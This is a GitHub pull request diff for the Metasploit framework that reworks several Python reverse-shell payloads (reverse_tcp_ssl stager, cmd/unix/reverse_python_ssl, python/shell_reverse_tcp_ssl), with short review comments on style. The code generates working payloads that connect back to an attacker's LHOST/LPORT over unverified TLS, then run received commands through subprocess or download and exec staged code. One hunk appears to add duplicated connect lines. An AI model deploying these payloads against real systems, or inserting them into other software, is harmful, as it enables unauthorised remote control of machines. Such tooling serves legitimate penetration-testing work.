Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
153 changes: 80 additions & 73 deletions lib/msf/core/payload/python/reverse_tcp_ssl.rb
Original file line number Diff line number Diff line change
@@ -1,88 +1,95 @@
# -*- coding: binary -*-

module Msf

###
#
# Complex reverse_tcp_ssl payload generation for Python
#
###

module Payload::Python::ReverseTcpSsl

include Msf::Payload::Python
include Msf::Payload::Python::ReverseTcp
def initialize(*args)
super
register_advanced_options(Msf::Opt::stager_retry_options)
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is there a reason for this? The double colon :: appears to be the standard?

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I got this warning when running rubocop on the file : lib/msf/core/payload/python/reverse_tcp_ssl.rb:17:39: C: [Correctable] Style/ColonMethodCall: Do not use :: for method calls. register_advanced_options(Msf::Opt::stager_retry_options) so i applied the autofix, should i revert it to how it was initially ?

end

###
#
# Generate the first stage
# Complex reverse_tcp_ssl payload generation for Python
#
def generate(_opts = {})
conf = {
port: datastore['LPORT'],
host: datastore['LHOST'],
retry_count: datastore['StagerRetryCount'],
retry_wait: datastore['StagerRetryWait']
}
###

generate_reverse_tcp_ssl(conf)
end
module Payload::Python::ReverseTcpSsl
include Msf::Payload::Python
include Msf::Payload::Python::ReverseTcp
def initialize(*args)
super
register_advanced_options(Msf::Opt.stager_retry_options)
end

#
# By default, we don't want to send the UUID, but we'll send
# for certain payloads if requested.
#
def include_send_uuid
false
end
#
# Generate the first stage
#
def generate(_opts = {})
conf = {
port: datastore['LPORT'],
host: datastore['LHOST'],
retry_count: datastore['StagerRetryCount'],
retry_wait: datastore['StagerRetryWait']
}

def supports_ssl?
true
end
generate_reverse_tcp_ssl(conf)
end

def generate_reverse_tcp_ssl(opts={})
# Set up the socket
cmd = "import zlib,base64,ssl,socket,struct#{opts[:retry_wait].to_i > 0 ? ',time' : ''}\n"
if opts[:retry_wait].blank? # do not retry at all (old style)
cmd << "so=socket.socket(2,1)\n" # socket.AF_INET = 2
cmd << "so.connect(('#{opts[:host]}',#{opts[:port]}))\n"
cmd << "s=ssl.wrap_socket(so)\n"
else
if opts[:retry_count] > 0
cmd << "for x in range(#{opts[:retry_count].to_i}):\n"
else
cmd << "while 1:\n"
end
cmd << "\ttry:\n"
cmd << "\t\tso=socket.socket(2,1)\n" # socket.AF_INET = 2
cmd << "\t\tso.connect(('#{opts[:host]}',#{opts[:port]}))\n"
cmd << "\t\ts=ssl.wrap_socket(so)\n"
cmd << "\t\tbreak\n"
cmd << "\texcept:\n"
if opts[:retry_wait].to_i <= 0
cmd << "\t\tpass\n" # retry immediately
else
cmd << "\t\ttime.sleep(#{opts[:retry_wait]})\n" # retry after waiting
end
#
# By default, we don't want to send the UUID, but we'll send
# for certain payloads if requested.
#
def include_send_uuid
false
end
cmd << py_send_uuid if include_send_uuid
cmd << "l=struct.unpack('>I',s.recv(4))[0]\n"
cmd << "d=s.recv(l)\n"
cmd << "while len(d)<l:\n"
cmd << "\td+=s.recv(l-len(d))\n"
cmd << "exec(zlib.decompress(base64.b64decode(d)),{'s':s})\n"

py_create_exec_stub(cmd)
end
def supports_ssl?
true
end

def handle_intermediate_stage(conn, payload)
conn.put([payload.length].pack("N"))
end
def generate_reverse_tcp_ssl(opts = {})
# Set up the socket
cmd = "import zlib,base64,ssl,socket,struct#{opts[:retry_wait].to_i > 0 ? ',time' : ''}\n"
if opts[:retry_wait].blank? # do not retry at all (old style)
cmd << "so=socket.socket(2,1)\n" # socket.AF_INET = 2
cmd << "so.connect(('#{opts[:host]}',#{opts[:port]}))\n"
cmd << "if hasattr(ssl, \"PROTOCOL_TLS_CLIENT\"):\n"
cmd << "\tcontext=ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)\n"
cmd << "\tcontext.check_hostname = False\n"
cmd << "\tcontext.verify_mode = ssl.CERT_NONE\n"
cmd << "\tso = context.wrap_socket(so)\n"
cmd << "else:\n"
cmd << "\tso = ssl.wrap_socket(so)\n"
else
if opts[:retry_count] > 0
cmd << "for x in range(#{opts[:retry_count].to_i}):\n"
else
cmd << "while 1:\n"
end
cmd << "\ttry:\n"
cmd << "\t\tso=socket.socket(2,1)\n" # socket.AF_INET = 2
cmd << "\t\tso.connect(('#{opts[:host]}',#{opts[:port]}))\n"
cmd << "\t\tif hasattr(ssl, \"PROTOCOL_TLS_CLIENT\"):\n"
cmd << "\t\t\tcontext=ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)\n"
cmd << "\t\t\tcontext.check_hostname = False\n"
cmd << "\t\t\tcontext.verify_mode = ssl.CERT_NONE\n"
cmd << "\t\t\tso = context.wrap_socket(so)\n"
cmd << "\t\telse:\n"
cmd << "\t\t\tso = ssl.wrap_socket(so)\n"
cmd << "\t\tbreak\n"
cmd << "\texcept:\n"
if opts[:retry_wait].to_i <= 0
cmd << "\t\tpass\n" # retry immediately
else
cmd << "\t\ttime.sleep(#{opts[:retry_wait]})\n" # retry after waiting
end
end
cmd << py_send_uuid if include_send_uuid
cmd << "l=struct.unpack('>I',so.recv(4))[0]\n"
cmd << "d=so.recv(l)\n"
cmd << "while len(d)<l:\n"
cmd << "\td+=so.recv(l-len(d))\n"
cmd << "exec(zlib.decompress(base64.b64decode(d)),{'s':so})\n"

end
py_create_exec_stub(cmd)
end

def handle_intermediate_stage(conn, payload)
conn.put([payload.length].pack('N'))
end
end
end

2 changes: 1 addition & 1 deletion modules/payloads/singles/cmd/unix/reverse_python.rb
Original file line number Diff line number Diff line change
Expand Up @@ -62,7 +62,7 @@ def command_string
if datastore['PythonPath'].blank?
return "echo #{Shellwords.escape(py_create_exec_stub(cmd))} | $(which python || which python3 || which python2) -"
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

What does the hyphen removal do?

Copy link
Copy Markdown
Contributor Author

@jeanmtr jeanmtr Apr 30, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

tldr : it does not do anything i will put it back

in #21168 i received this comment hinting at the fact that the hyphen might have been unnecessary. After testing, i could not find a use case where it changed anything so i removed it.

I removed it in this PR for consistency but i forgot that my previous pr was merged without those changes due to problems with github (i had to reopen the PR on another account) therefore it is not consistent and i will put it back.

else
return "echo #{Shellwords.escape(py_create_exec_stub(cmd))} | #{datastore['PythonPath']} -"
return "echo #{Shellwords.escape(py_create_exec_stub(cmd))} | #{datastore['PythonPath']} -"
end
end
end
12 changes: 9 additions & 3 deletions modules/payloads/singles/cmd/unix/reverse_python_ssl.rb
Original file line number Diff line number Diff line change
Expand Up @@ -55,15 +55,21 @@ def command_string
cmd += "import socket,subprocess,os,ssl\n"
cmd += "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n"
cmd += "so.connect(('#{datastore['LHOST']}',#{datastore['LPORT']}))\n"
cmd += "s=ssl.wrap_socket(so)\n"
cmd += "if hasattr(ssl, \"PROTOCOL_TLS_CLIENT\"):\n"
cmd += "\tcontext=ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)\n"
cmd += "\tcontext.check_hostname = False\n"
cmd += "\tcontext.verify_mode = ssl.CERT_NONE\n"
cmd += "\tso = context.wrap_socket(so)\n"
cmd += "else:\n"
cmd += "\tso = ssl.wrap_socket(so)\n"
# The actual IO
cmd += "#{dead}=False\n"
cmd += "while not #{dead}:\n"
cmd += "\tdata=s.recv(1024)\n"
cmd += "\tdata=so.recv(1024)\n"
cmd += "\tif len(data)==0:\n\t\t#{dead} = True\n"
cmd += "\tproc=subprocess.Popen(data.decode('utf-8'),shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)\n"
cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n"
cmd += "\ts.send(stdout_value)\n"
cmd += "\tso.send(stdout_value)\n"
if datastore['PythonPath'].blank?
return "echo #{Shellwords.escape(py_create_exec_stub(cmd))} | $(which python || which python3 || which python2) -"
else
Expand Down
11 changes: 10 additions & 1 deletion modules/payloads/singles/python/shell_reverse_tcp_ssl.rb
Original file line number Diff line number Diff line change
Expand Up @@ -48,7 +48,16 @@ def command_string
import ssl
so=s.socket(s.AF_INET,s.SOCK_STREAM)
so.connect(('#{datastore['LHOST']}',#{datastore['LPORT']}))
so=ssl.wrap_socket(so)
import socket,subprocess,os,ssl
so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
so.connect(('#{datastore['LHOST']}',#{datastore['LPORT']}))
Comment on lines 49 to +53
if hasattr(ssl, \"PROTOCOL_TLS_CLIENT\"):
context=ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
so = context.wrap_socket(so)
else:
so = ssl.wrap_socket(so)
while True:
d=so.recv(1024)
if len(d)==0:
Expand Down
Loading